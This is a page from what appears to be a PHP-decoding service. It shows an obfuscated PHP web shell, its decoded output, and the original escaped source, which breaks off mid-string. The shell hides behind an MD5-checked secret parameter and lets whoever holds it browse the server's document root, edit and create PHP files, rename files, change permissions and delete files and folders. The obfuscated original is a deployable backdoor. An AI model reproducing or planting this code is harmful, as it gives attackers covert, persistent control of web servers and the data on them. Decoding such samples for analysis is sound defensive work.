Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (isset($_GET["\154\x65\164"]) && md5($_GET["\154\145\164"]) == "\144\x62\70\x32..
Decoded Output download
<?php
if (isset($_GET["let"]) && md5($_GET["let"]) == "db82206b1d49042d1a710e9c88c21d36") { $var = "&let=" . $_GET["let"]; ?>
<!doctypehtml><html lang="id"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Oh No!</title><style>body{font-family:Courier New;margin:20px;background-color:#111;color:#0f0}table{width:100%;border:none;border:1px solid #0f0}table .svg{width:1%}table .name{width:39%}table .size{width:15%;text-align:center}table .modify{width:15%;text-align:center}table .perms{width:15%;text-align:center}table .actions{width:15%;text-align:center}td,th{padding:2px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th{background-color:#161616;border-bottom:1px solid #0f0;padding:10px 0;text-align:center}table tr:hover{background:#222}form{margin-bottom:20px}a{text-decoration:none;color:#0f0}.directory{background:linear-gradient(0deg,rgba(18,18,18,1) 0,rgba(28,28,28,1) 100%);padding:1px}.folder:hover{color:#0f0;font-weight:700;text-shadow:0 0 5px #0f0}.file{color:#0f0;padding:1px;border-bottom:1px solid #bbb}.file a{color:#0f0;text-decoration:none}textarea{width:100%;box-sizing:border-box}.fields{background-color:#111;color:#0f0;border:none;padding:5px;cursor:pointer;margin-right:10px;border:1px solid #0f0;border-radius:5px}.submit{background-color:Transparent;color:#0f0;border:none;cursor:pointer;border-radius:5px;margin:5px}.submit:hover{text-shadow:0 0 5px #0f0}.alert{color:red}</style><?php function sanitizeDirectory($dir) { $dir = preg_replace("/[^a-zA-Z0-9_\/\-. ]/", '', $dir); return $dir; } function sanitizeFile($file) { $file = preg_replace("/[^a-zA-Z0-9_\. ]/", '', $file); return $file; } function sanitizeFolder($folder) { $folder = preg_replace("/[^a-zA-Z0-9_\/\-. ]/", '', $folder); return $folder; } function formatSize($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } elseif ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } elseif ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } elseif ($size > 1) { $size = $size . " bytes"; } elseif ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } return $size; } function formatPermissions($perms) { $info = ''; $info .= $perms & 256 ? "r" : "-"; $info .= $perms & 128 ? "w" : "-"; $info .= $perms & 64 ? "x" : "-"; $info .= $perms & 32 ? "r" : "-"; $info .= $perms & 16 ? "w" : "-"; $info .= $perms & 8 ? "x" : "-"; $info .= $perms & 4 ? "r" : "-"; $info .= $perms & 2 ? "w" : "-"; $info .= $perms & 1 ? "x" : "-"; return $info; } function deleteDirectory($dir) { if (!file_exists($dir)) { return false; } if (!is_dir($dir)) { return unlink($dir); } foreach (glob(rtrim($dir, "/") . "/*", GLOB_MARK) as $file) { deleteDirectory($file); } return rmdir($dir); } $base_dir = $_SERVER["DOCUMENT_ROOT"]; $current_dir = isset($_GET["dir"]) ? sanitizeDirectory($_GET["dir"]) : ''; $file_to_edit = isset($_GET["file"]) ? sanitizeFile($_GET["file"]) : ''; $folder_to_create = isset($_POST["new_folder_name"]) ? sanitizeFolder($_POST["new_folder_name"]) : ''; $rename_target = isset($_GET["rename_target"]) ? sanitizeDirectory($_GET["rename_target"]) : ''; $access_target = isset($_GET["access_target"]) ? sanitizeDirectory($_GET["access_target"]) : ''; $new_name = isset($_POST["new_name"]) ? sanitizeDirectory($_POST["new_name"]) : ''; if ($current_dir) { $current_path = realpath($base_dir . "/" . $current_dir); } else { $current_path = realpath($base_dir); } if (!is_dir($current_path)) { die("Direktori tidak ditemukan atau tidak dapat diakses."); } if ($file_to_edit) { $file_path = $current_path . "/" . $file_to_edit; if (file_exists($file_path) && is_file($file_path)) { if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST["save"])) { $new_content = $_POST["content"]; file_put_contents($file_path, $new_content); echo "<p>File berhasil diperbarui.</p>"; } if (isset($_POST["cancel"])) { header("Location: ?dir=" . urlencode($current_dir) . $var); die; } } $file_content = file_get_contents($file_path); echo "<h2>Edit File: " . htmlspecialchars($file_to_edit) . "</h2>"; echo "<form method="post">"; echo "<textarea class="fields" name="content" rows="20" cols="80">" . htmlspecialchars($file_content) . "</textarea><br>"; echo "<input type="submit" name="save" value="Simpan Perubahan" />"; echo "<input type="submit" name="cancel" value="Batal" />"; echo "</form>"; die; } else { die("File tidak ditemukan atau tidak dapat diakses."); } } if (isset($_POST["create"])) { $new_file_name = sanitizeFile($_POST["new_file_name"]); $file_type = $_POST["file_type"]; $new_file_path = $current_path . "/" . $new_file_name . "." . $file_type; if (file_exists($new_file_path)) { echo "<p class="alert">File sudah ada.</p>"; } else { $default_content = ''; file_put_contents($new_file_path, $default_content); echo "<p>File berhasil dibuat: <a href="?dir=" . urlencode($current_dir) . "&file=" . urlencode($new_file_name . "." . $file_type) . $var . "">" . htmlspecialchars($new_file_name . "." . $file_type) . "</a></p>"; } } if (isset($_POST["create_folder"])) { $new_folder_name = sanitizeFolder($_POST["new_folder_name"]); $new_folder_path = $current_path . "/" . $new_folder_name; if (is_dir($new_folder_path)) { echo "<p class="alert">Folder sudah ada.</p>"; } else { mkdir($new_folder_path); echo "<p>Folder berhasil dibuat: <a href="?dir=" . urlencode($current_dir . "/" . $new_folder_name) . $var . "">" . htmlspecialchars($new_folder_name) . "</a></p>"; } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["rename"])) { $target_path = $current_path . "/" . $rename_target; $new_path = $current_path . "/" . $new_name; if (file_exists($target_path)) { if (rename($target_path, $new_path)) { echo "<p>Berhasil mengganti nama menjadi: <a href="?dir=" . urlencode($current_dir) . $var . "">" . htmlspecialchars($new_name) . "</a></p>"; } else { echo "<p class="alert">Gagal mengganti nama.</p>"; } } else { echo "<p class="alert">Target tidak ditemukan.</p>"; } } if ($_SERVER["REQUEST_METHOD"] === "POST") { $delete_target = isset($_POST["delete_target"]) ? realpath($base_dir . "/" . sanitizeDirectory($_POST["delete_target"])) : ''; if (isset($_POST["delete_file"])) { if ($delete_target && file_exists($delete_target) && is_file($delete_target)) { if (unlink($delete_target)) { echo "<p>File berhasil dihapus.</p>"; } else { echo "<p class="alert">Gagal menghapus file.</p>"; } } else { echo "<p class="alert">File tidak ditemukan.</p>"; } } if (isset($_POST["delete_folder"])) { if ($delete_target && file_exists($delete_target) && is_dir($delete_target)) { if (deleteDirectory($delete_target)) { echo "<p>Folder berhasil dihapus.</p>"; } else { echo "<p class="alert">Gagal menghapus folder.</p>"; } } else { echo "<p class="alert">Folder tidak ditemukan.</p>"; } } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["access"])) { $target = $current_path . "/" . $access_target; $mode = $_POST["mode"]; if (file_exists($target)) { if (chmod($target, $mode)) { echo "<p>Akses '{$target}' berhasil diubah menjadi {$mode}.</p>"; } else { echo "<p class='alert'>Gagal mengubah akses '{$target}'.</p>"; } } else { echo "<p class="alert">Target tidak ditemukan.</p>"; } } $directories = array(); $files = array(); if ($handle = opendir($current_path)) { while (false !== ($entry = readdir($handle))) { if ($entry === "." || $entry === "..") { continue; } $full_path = $current_path . "/" . $entry; if (is_dir($full_path)) { $directories[] = $entry; } else { $files[] = $entry; } } closedir($handle); } ?>
</head><body><form method="post"><input name="new_file_name"class="fields"placeholder="Nama File"required> <select class="fields"name="file_type"><option value="html">HTML</option><option value="php">PHP</option><option value="css">CSS</option><option value="js">JS</option></select> <input name="create"value="Buat File"type="submit"></form><form method="post"><input name="new_folder_name"class="fields"placeholder="Nama Folder"required> <input name="create_folder"value="Buat Folder"type="submit"></form><form method="post"><input name="rename_target"value="<?php echo htmlspecialchars($rename_target); ?>
"type="hidden"> <input name="new_name"value="<?php echo htmlspecialchars($rename_target); ?>
"class="fields"placeholder="Nama Baru"required> <input name="rename"value="Ganti Nama"type="submit"></form><form method="post"><input name="access_target"value="<?php echo htmlspecialchars($access_target); ?>
"class="fields"placeholder="Nama File/Folder"required> <input name="mode"type="number"class="fields"placeholder="Mode"required> <input name="access"value="Update Akses"type="submit"></form><span class="current_path"><?php echo htmlspecialchars($current_path); ?>
</span><?php echo "<table cellspacing="0" cellpadding="0">\xa <thead>\xa <tr>\xa <th></th>
<th class="name">Name</th>
<th class="size">Size</th>
<th class="modify">Last Modified</th>\xa <th class="perms">Permissions</th>
<th class="actions">actions</th>
</tr>
</thead>\xa <tbody>
"; if ($current_dir) { $parent_dir = dirname($current_dir); echo "\xa <tr class="directory">
<td class="svg"><a class="folder" href="?dir=" . urlencode($parent_dir) . $var . "">\xa <svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1" d="M14.5 8.046H11V6.119c0-.921-.9-1.446-1.524-.894l-5.108 4.49a1.2 1.2 0 0 0 0 1.739l5.108 4.49c.624.556 1.524.027 1.524-.893v-1.928h2a3.023 3.023 0 0 1 3 3.046V19a5.593 5.593 0 0 0-1.5-10.954Z"/>
</svg></a>
</td>
<td colspan="5"><a class="folder" href="?dir=" . urlencode($parent_dir) . $var . "">
\xa/.. </a></td>\xa</tr>"; } foreach ($directories as $directory) { $full_path = $current_path . "/" . $directory; $folder_mtime = date("d M Y H:i:s", filemtime($full_path)); $folder_perms = formatPermissions(fileperms($full_path)); echo "<tr class="directory">
<td class="svg">
<a class="folder" href="?dir=" . urlencode($current_dir . "/" . $directory) . $var . "">\xa <svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">\xa <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1" d="M13.5 8H4m0-2v13a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-5.032a1 1 0 0 1-.768-.36l-1.9-2.28a1 1 0 0 0-.768-.36H5a1 1 0 0 0-1 1Z"/>\xa</svg></a>\xa</td>\xa <td>\xa <a class="folder" href="?dir=" . urlencode($current_dir . "/" . $directory) . $var . "">
" . htmlspecialchars($directory) . "</a>\xa</td>
<td class="size"> --- </td>
<td class="modify">" . $folder_mtime . "</td>\xa<td class="perms">" . $folder_perms . "</td>
<td class="actions">
<a class="submit" href="?dir=" . urlencode($current_dir) . "&access_target=" . urlencode($directory) . $var . "" title="Access">A</a>\xa<a class="submit" href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($directory) . $var . "" title="Rename">R</a>\xa"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php echo htmlspecialchars($current_dir . "/" . $directory); ?>
"type="hidden"> <input name="delete_folder"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus folder ini?")'title="Delete"></form><?php echo "
</td>
</tr>"; } $array = array("php", "html", "css", "js"); foreach ($files as $file) { $full_path = $current_path . "/" . $file; $file_size = formatSize(filesize($full_path)); $file_mtime = date("d M Y H:i:s", filemtime($full_path)); $file_perms = formatPermissions(fileperms($full_path)); echo "<tr class="file">"; echo "<td>
<svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
<path stroke="currentColor" stroke-linejoin="round" stroke-width="1" d="M10 3v4a1 1 0 0 1-1 1H5m14-4v16a1 1 0 0 1-1 1H6a1 1 0 0 1-1-1V7.914a1 1 0 0 1 .293-.707l3.914-3.914A1 1 0 0 1 9.914 3H18a1 1 0 0 1 1 1Z"/>
</svg>\xa </td>"; if (in_array(pathinfo($file, PATHINFO_EXTENSION), $array)) { echo "<td>\xa " . htmlspecialchars($file) . "</td>\xa </td>
<td class="size">" . $file_size . "</td>\xa <td class="modify">" . $file_mtime . "</td>
<td class="perms">" . $file_perms . "</td>
<td class="actions">\xa <a class="submit" href="?dir=" . urlencode($current_dir) . "&access_target=" . urlencode($file) . $var . "" title="Access">A</a>\xa <a class="submit" href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($file) . $var . "" title="Rename">R</a>
<a class="submit" href="?dir=" . urlencode($current_dir) . "&file=" . urlencode($file) . $var . "" title="Edit"> E</a>
"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php echo htmlspecialchars($current_dir . "/" . $file); ?>
"type="hidden"> <input name="delete_file"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus file ini?")'title="Delete"></form><?php echo "
</td>\xa "; } else { echo "<td>" . htmlspecialchars($file) . "\xa </td>\xa <td class="size">" . $file_size . "</td>
<td class="modify">" . $file_mtime . "</td>
<td class="perms">" . $file_perms . "</td>\xa <td class="actions">\xa <a href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($file) . $var . "">R</a>
</td>"; } echo "</tr>"; } ?>
</body></html><?php die; } ?>
Did this file decode correctly?
Original Code
<?php
if (isset($_GET["\154\x65\164"]) && md5($_GET["\154\145\164"]) == "\144\x62\70\x32\x32\x30\66\142\x31\x64\64\71\x30\64\62\x64\x31\x61\x37\x31\x30\145\x39\143\x38\x38\x63\x32\61\x64\63\66") { $var = "\46\154\x65\164\75" . $_GET["\154\145\164"]; ?>
<!doctypehtml><html lang="id"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Oh No!</title><style>body{font-family:Courier New;margin:20px;background-color:#111;color:#0f0}table{width:100%;border:none;border:1px solid #0f0}table .svg{width:1%}table .name{width:39%}table .size{width:15%;text-align:center}table .modify{width:15%;text-align:center}table .perms{width:15%;text-align:center}table .actions{width:15%;text-align:center}td,th{padding:2px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th{background-color:#161616;border-bottom:1px solid #0f0;padding:10px 0;text-align:center}table tr:hover{background:#222}form{margin-bottom:20px}a{text-decoration:none;color:#0f0}.directory{background:linear-gradient(0deg,rgba(18,18,18,1) 0,rgba(28,28,28,1) 100%);padding:1px}.folder:hover{color:#0f0;font-weight:700;text-shadow:0 0 5px #0f0}.file{color:#0f0;padding:1px;border-bottom:1px solid #bbb}.file a{color:#0f0;text-decoration:none}textarea{width:100%;box-sizing:border-box}.fields{background-color:#111;color:#0f0;border:none;padding:5px;cursor:pointer;margin-right:10px;border:1px solid #0f0;border-radius:5px}.submit{background-color:Transparent;color:#0f0;border:none;cursor:pointer;border-radius:5px;margin:5px}.submit:hover{text-shadow:0 0 5px #0f0}.alert{color:red}</style><?php function sanitizeDirectory($dir) { $dir = preg_replace("\x2f\x5b\136\x61\55\172\x41\x2d\x5a\x30\x2d\x39\x5f\134\57\134\x2d\56\40\135\x2f", '', $dir); return $dir; } function sanitizeFile($file) { $file = preg_replace("\x2f\133\136\x61\x2d\172\x41\55\x5a\60\x2d\71\137\134\x2e\x20\135\57", '', $file); return $file; } function sanitizeFolder($folder) { $folder = preg_replace("\x2f\x5b\136\141\55\x7a\101\x2d\x5a\x30\55\x39\x5f\x5c\x2f\x5c\55\x2e\x20\x5d\x2f", '', $folder); return $folder; } function formatSize($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . "\x20\x47\x42"; } elseif ($size >= 1048576) { $size = number_format($size / 1048576, 2) . "\x20\115\x42"; } elseif ($size >= 1024) { $size = number_format($size / 1024, 2) . "\x20\x4b\x42"; } elseif ($size > 1) { $size = $size . "\x20\142\171\164\145\163"; } elseif ($size == 1) { $size = $size . "\x20\142\x79\x74\x65"; } else { $size = "\60\x20\x62\x79\x74\x65\163"; } return $size; } function formatPermissions($perms) { $info = ''; $info .= $perms & 256 ? "\x72" : "\55"; $info .= $perms & 128 ? "\167" : "\x2d"; $info .= $perms & 64 ? "\170" : "\x2d"; $info .= $perms & 32 ? "\x72" : "\55"; $info .= $perms & 16 ? "\167" : "\55"; $info .= $perms & 8 ? "\x78" : "\55"; $info .= $perms & 4 ? "\162" : "\x2d"; $info .= $perms & 2 ? "\x77" : "\x2d"; $info .= $perms & 1 ? "\170" : "\x2d"; return $info; } function deleteDirectory($dir) { if (!file_exists($dir)) { return false; } if (!is_dir($dir)) { return unlink($dir); } foreach (glob(rtrim($dir, "\57") . "\x2f\x2a", GLOB_MARK) as $file) { deleteDirectory($file); } return rmdir($dir); } $base_dir = $_SERVER["\x44\117\103\125\115\105\116\124\x5f\122\x4f\x4f\124"]; $current_dir = isset($_GET["\144\x69\162"]) ? sanitizeDirectory($_GET["\x64\x69\x72"]) : ''; $file_to_edit = isset($_GET["\x66\x69\x6c\145"]) ? sanitizeFile($_GET["\146\151\x6c\145"]) : ''; $folder_to_create = isset($_POST["\x6e\145\x77\x5f\x66\157\x6c\144\145\162\x5f\x6e\x61\155\x65"]) ? sanitizeFolder($_POST["\156\x65\167\x5f\x66\x6f\154\x64\x65\x72\137\156\141\155\145"]) : ''; $rename_target = isset($_GET["\x72\x65\x6e\141\155\x65\x5f\x74\141\162\x67\145\164"]) ? sanitizeDirectory($_GET["\162\x65\x6e\x61\155\x65\x5f\164\x61\162\x67\x65\x74"]) : ''; $access_target = isset($_GET["\x61\143\x63\145\163\163\137\x74\x61\x72\x67\x65\164"]) ? sanitizeDirectory($_GET["\x61\x63\x63\x65\163\163\137\164\141\x72\147\x65\x74"]) : ''; $new_name = isset($_POST["\156\x65\x77\137\x6e\141\155\145"]) ? sanitizeDirectory($_POST["\x6e\x65\167\137\156\141\155\145"]) : ''; if ($current_dir) { $current_path = realpath($base_dir . "\57" . $current_dir); } else { $current_path = realpath($base_dir); } if (!is_dir($current_path)) { die("\x44\151\x72\145\153\164\x6f\x72\x69\40\164\x69\x64\x61\153\40\144\151\164\145\155\165\153\141\x6e\x20\x61\164\141\165\x20\x74\151\x64\x61\x6b\x20\144\141\160\x61\x74\x20\x64\x69\141\153\x73\x65\163\x2e"); } if ($file_to_edit) { $file_path = $current_path . "\x2f" . $file_to_edit; if (file_exists($file_path) && is_file($file_path)) { if ($_SERVER["\122\x45\x51\125\x45\123\124\137\115\x45\x54\110\117\x44"] === "\x50\117\123\124") { if (isset($_POST["\163\x61\166\x65"])) { $new_content = $_POST["\x63\x6f\x6e\x74\145\156\x74"]; file_put_contents($file_path, $new_content); echo "\x3c\160\x3e\x46\x69\154\145\40\x62\145\162\x68\141\x73\x69\154\x20\144\x69\x70\x65\x72\x62\x61\x72\165\151\x2e\74\57\160\x3e"; } if (isset($_POST["\143\141\x6e\143\x65\154"])) { header("\x4c\x6f\143\x61\164\151\x6f\156\72\40\x3f\x64\x69\162\75" . urlencode($current_dir) . $var); die; } } $file_content = file_get_contents($file_path); echo "\x3c\x68\62\x3e\105\x64\x69\164\40\x46\x69\154\x65\72\40" . htmlspecialchars($file_to_edit) . "\74\x2f\x68\62\x3e"; echo "\x3c\x66\x6f\162\155\x20\x6d\145\x74\150\157\144\75\42\x70\157\x73\164\x22\x3e"; echo "\74\x74\x65\170\x74\141\162\x65\x61\40\143\x6c\x61\163\163\75\42\146\151\x65\x6c\144\163\42\x20\156\x61\x6d\x65\75\42\x63\x6f\x6e\x74\x65\156\164\x22\40\162\157\x77\163\x3d\42\62\60\x22\x20\143\x6f\154\163\75\x22\x38\60\42\76" . htmlspecialchars($file_content) . "\x3c\x2f\164\x65\x78\x74\x61\x72\145\x61\76\x3c\142\162\76"; echo "\x3c\151\x6e\x70\165\164\40\164\x79\x70\x65\x3d\x22\x73\x75\142\155\151\x74\42\x20\156\x61\155\x65\75\x22\x73\141\x76\145\42\40\x76\x61\154\x75\145\75\42\x53\x69\155\160\141\x6e\40\120\x65\x72\165\142\141\x68\141\x6e\x22\x20\x2f\x3e"; echo "\x3c\x69\156\x70\x75\x74\x20\x74\x79\x70\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\156\x61\155\145\x3d\x22\143\x61\156\143\x65\154\42\x20\x76\141\154\165\x65\75\x22\x42\141\x74\x61\x6c\x22\x20\x2f\x3e"; echo "\74\x2f\146\x6f\162\x6d\x3e"; die; } else { die("\x46\x69\154\x65\40\164\x69\144\x61\153\40\x64\x69\164\145\155\x75\153\x61\156\40\141\x74\x61\x75\x20\164\151\x64\141\x6b\x20\144\x61\x70\x61\164\x20\144\151\141\153\x73\x65\x73\x2e"); } } if (isset($_POST["\143\x72\145\x61\x74\x65"])) { $new_file_name = sanitizeFile($_POST["\x6e\145\x77\x5f\146\151\x6c\145\x5f\156\x61\155\x65"]); $file_type = $_POST["\x66\x69\154\145\x5f\x74\171\x70\x65"]; $new_file_path = $current_path . "\57" . $new_file_name . "\x2e" . $file_type; if (file_exists($new_file_path)) { echo "\74\160\40\143\x6c\x61\163\x73\75\42\141\154\x65\162\164\x22\76\x46\151\154\145\40\163\165\x64\x61\x68\40\141\144\141\x2e\74\57\160\x3e"; } else { $default_content = ''; file_put_contents($new_file_path, $default_content); echo "\x3c\160\76\x46\151\154\x65\40\x62\145\x72\150\x61\x73\x69\x6c\40\x64\151\142\165\x61\164\72\x20\x3c\x61\40\150\x72\x65\x66\x3d\42\x3f\x64\151\162\75" . urlencode($current_dir) . "\46\x66\x69\x6c\145\75" . urlencode($new_file_name . "\56" . $file_type) . $var . "\x22\x3e" . htmlspecialchars($new_file_name . "\56" . $file_type) . "\x3c\x2f\x61\76\74\x2f\160\76"; } } if (isset($_POST["\x63\x72\x65\x61\x74\x65\x5f\146\157\154\x64\145\162"])) { $new_folder_name = sanitizeFolder($_POST["\x6e\x65\167\137\146\157\x6c\144\145\162\x5f\x6e\x61\155\x65"]); $new_folder_path = $current_path . "\x2f" . $new_folder_name; if (is_dir($new_folder_path)) { echo "\74\160\x20\x63\154\141\163\163\75\42\141\x6c\145\x72\x74\42\x3e\106\x6f\154\144\145\162\x20\x73\165\144\x61\150\x20\x61\x64\141\56\x3c\57\160\x3e"; } else { mkdir($new_folder_path); echo "\x3c\x70\76\x46\x6f\x6c\x64\x65\162\40\x62\x65\x72\150\x61\x73\151\154\x20\144\151\x62\x75\141\164\72\40\74\141\40\x68\162\x65\x66\75\42\77\x64\151\x72\75" . urlencode($current_dir . "\x2f" . $new_folder_name) . $var . "\42\76" . htmlspecialchars($new_folder_name) . "\74\x2f\141\x3e\74\x2f\160\76"; } } if ($_SERVER["\x52\105\121\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\117\x44"] === "\120\117\123\124" && isset($_POST["\x72\x65\x6e\141\x6d\x65"])) { $target_path = $current_path . "\x2f" . $rename_target; $new_path = $current_path . "\57" . $new_name; if (file_exists($target_path)) { if (rename($target_path, $new_path)) { echo "\x3c\160\x3e\x42\145\x72\x68\141\x73\x69\154\40\155\145\x6e\x67\x67\x61\156\164\151\40\156\x61\155\141\40\x6d\x65\156\152\x61\x64\151\x3a\40\x3c\141\40\x68\x72\145\x66\x3d\42\77\144\151\162\x3d" . urlencode($current_dir) . $var . "\x22\x3e" . htmlspecialchars($new_name) . "\74\57\141\x3e\74\57\160\76"; } else { echo "\74\x70\40\x63\154\x61\163\x73\75\42\x61\154\x65\x72\x74\x22\76\x47\x61\147\x61\x6c\40\x6d\145\156\147\x67\141\156\x74\151\40\x6e\141\x6d\141\56\x3c\x2f\x70\76"; } } else { echo "\x3c\160\x20\143\154\141\x73\x73\x3d\42\x61\154\x65\x72\x74\x22\x3e\124\141\162\x67\x65\164\40\164\x69\x64\141\x6b\40\144\151\164\145\155\x75\x6b\141\x6e\x2e\74\57\x70\x3e"; } } if ($_SERVER["\x52\105\121\125\x45\x53\x54\x5f\x4d\105\x54\x48\x4f\104"] === "\x50\x4f\123\x54") { $delete_target = isset($_POST["\144\145\154\x65\164\145\x5f\164\141\x72\x67\145\164"]) ? realpath($base_dir . "\57" . sanitizeDirectory($_POST["\144\x65\x6c\145\x74\x65\x5f\x74\x61\x72\x67\145\164"])) : ''; if (isset($_POST["\144\x65\154\x65\x74\145\x5f\x66\151\154\145"])) { if ($delete_target && file_exists($delete_target) && is_file($delete_target)) { if (unlink($delete_target)) { echo "\74\160\76\x46\x69\154\x65\x20\142\145\x72\x68\141\x73\x69\x6c\x20\x64\x69\150\x61\160\x75\x73\56\74\57\160\76"; } else { echo "\x3c\160\x20\143\154\x61\x73\163\x3d\x22\x61\x6c\x65\162\164\x22\x3e\x47\141\147\x61\154\x20\155\x65\156\x67\x68\141\x70\165\x73\40\146\x69\x6c\x65\x2e\x3c\x2f\160\x3e"; } } else { echo "\x3c\160\40\x63\x6c\x61\163\x73\x3d\42\x61\x6c\x65\162\x74\x22\76\106\x69\154\145\x20\x74\x69\144\141\x6b\40\x64\151\x74\x65\155\165\153\x61\x6e\x2e\74\57\x70\76"; } } if (isset($_POST["\x64\x65\154\145\x74\145\137\146\157\x6c\x64\145\x72"])) { if ($delete_target && file_exists($delete_target) && is_dir($delete_target)) { if (deleteDirectory($delete_target)) { echo "\x3c\160\x3e\106\157\154\144\145\x72\40\142\x65\162\150\x61\163\x69\x6c\x20\144\151\x68\141\160\x75\x73\56\x3c\57\x70\76"; } else { echo "\74\160\40\x63\154\x61\x73\163\75\x22\x61\x6c\x65\x72\x74\x22\x3e\x47\x61\x67\141\154\40\x6d\x65\156\x67\150\x61\160\165\x73\x20\x66\x6f\x6c\x64\145\162\x2e\74\x2f\160\76"; } } else { echo "\x3c\160\40\x63\154\141\163\x73\75\42\141\154\145\162\x74\x22\x3e\106\x6f\x6c\x64\145\162\40\164\x69\144\141\x6b\40\144\x69\164\x65\x6d\x75\153\x61\156\x2e\74\57\160\x3e"; } } } if ($_SERVER["\122\105\x51\125\x45\123\x54\x5f\x4d\x45\x54\x48\x4f\x44"] === "\120\117\123\x54" && isset($_POST["\x61\143\x63\145\163\163"])) { $target = $current_path . "\x2f" . $access_target; $mode = $_POST["\155\157\x64\145"]; if (file_exists($target)) { if (chmod($target, $mode)) { echo "\74\x70\76\x41\x6b\163\x65\163\40\x27{$target}\47\40\142\x65\162\x68\141\163\151\154\40\144\151\x75\x62\141\x68\40\155\x65\156\x6a\x61\144\151\x20{$mode}\x2e\74\x2f\x70\76"; } else { echo "\x3c\x70\40\x63\154\141\163\x73\x3d\47\x61\x6c\145\x72\164\47\x3e\x47\141\147\x61\x6c\x20\155\145\x6e\x67\165\x62\x61\150\x20\141\153\x73\145\163\x20\x27{$target}\47\x2e\x3c\x2f\160\x3e"; } } else { echo "\74\x70\40\143\154\141\x73\x73\x3d\x22\141\x6c\x65\162\x74\x22\x3e\124\x61\162\147\145\164\40\x74\x69\144\141\153\40\144\151\x74\145\155\165\153\141\156\x2e\x3c\x2f\x70\x3e"; } } $directories = array(); $files = array(); if ($handle = opendir($current_path)) { while (false !== ($entry = readdir($handle))) { if ($entry === "\56" || $entry === "\x2e\x2e") { continue; } $full_path = $current_path . "\x2f" . $entry; if (is_dir($full_path)) { $directories[] = $entry; } else { $files[] = $entry; } } closedir($handle); } ?>
</head><body><form method="post"><input name="new_file_name"class="fields"placeholder="Nama File"required> <select class="fields"name="file_type"><option value="html">HTML</option><option value="php">PHP</option><option value="css">CSS</option><option value="js">JS</option></select> <input name="create"value="Buat File"type="submit"></form><form method="post"><input name="new_folder_name"class="fields"placeholder="Nama Folder"required> <input name="create_folder"value="Buat Folder"type="submit"></form><form method="post"><input name="rename_target"value="<?php echo htmlspecialchars($rename_target); ?>
"type="hidden"> <input name="new_name"value="<?php echo htmlspecialchars($rename_target); ?>
"class="fields"placeholder="Nama Baru"required> <input name="rename"value="Ganti Nama"type="submit"></form><form method="post"><input name="access_target"value="<?php echo htmlspecialchars($access_target); ?>
"class="fields"placeholder="Nama File/Folder"required> <input name="mode"type="number"class="fields"placeholder="Mode"required> <input name="access"value="Update Akses"type="submit"></form><span class="current_path"><?php echo htmlspecialchars($current_path); ?>
</span><?php echo "\74\x74\141\142\154\x65\x20\143\145\154\154\x73\160\141\143\151\156\147\75\42\x30\x22\x20\x63\145\x6c\154\160\141\144\144\x69\x6e\x67\75\x22\x30\x22\76\xa\x20\40\40\40\40\40\40\x20\x3c\164\x68\x65\141\144\76\xa\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\74\164\x72\76\xa\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\74\164\150\76\74\x2f\164\150\76\12\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x3c\x74\x68\x20\143\x6c\x61\163\163\75\x22\x6e\141\x6d\x65\42\x3e\x4e\x61\155\145\74\x2f\x74\150\76\12\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\74\164\150\x20\143\154\x61\x73\163\75\x22\163\x69\172\x65\x22\76\123\151\x7a\x65\74\x2f\x74\150\76\12\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x3c\x74\x68\x20\x63\154\x61\x73\163\x3d\x22\155\x6f\144\151\146\x79\42\x3e\114\x61\163\164\40\x4d\x6f\144\151\146\151\145\x64\74\57\164\150\x3e\xa\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x3c\x74\x68\40\x63\x6c\141\x73\x73\75\42\160\145\162\x6d\x73\x22\x3e\120\145\162\x6d\151\163\x73\151\157\156\x73\x3c\57\164\x68\x3e\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x3c\164\150\x20\143\154\x61\163\x73\75\42\141\x63\164\151\x6f\156\x73\42\76\x61\143\164\x69\x6f\x6e\163\x3c\57\x74\x68\x3e\12\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x3c\57\164\162\x3e\12\x20\40\40\x20\x20\40\40\x20\x3c\57\164\x68\145\141\144\x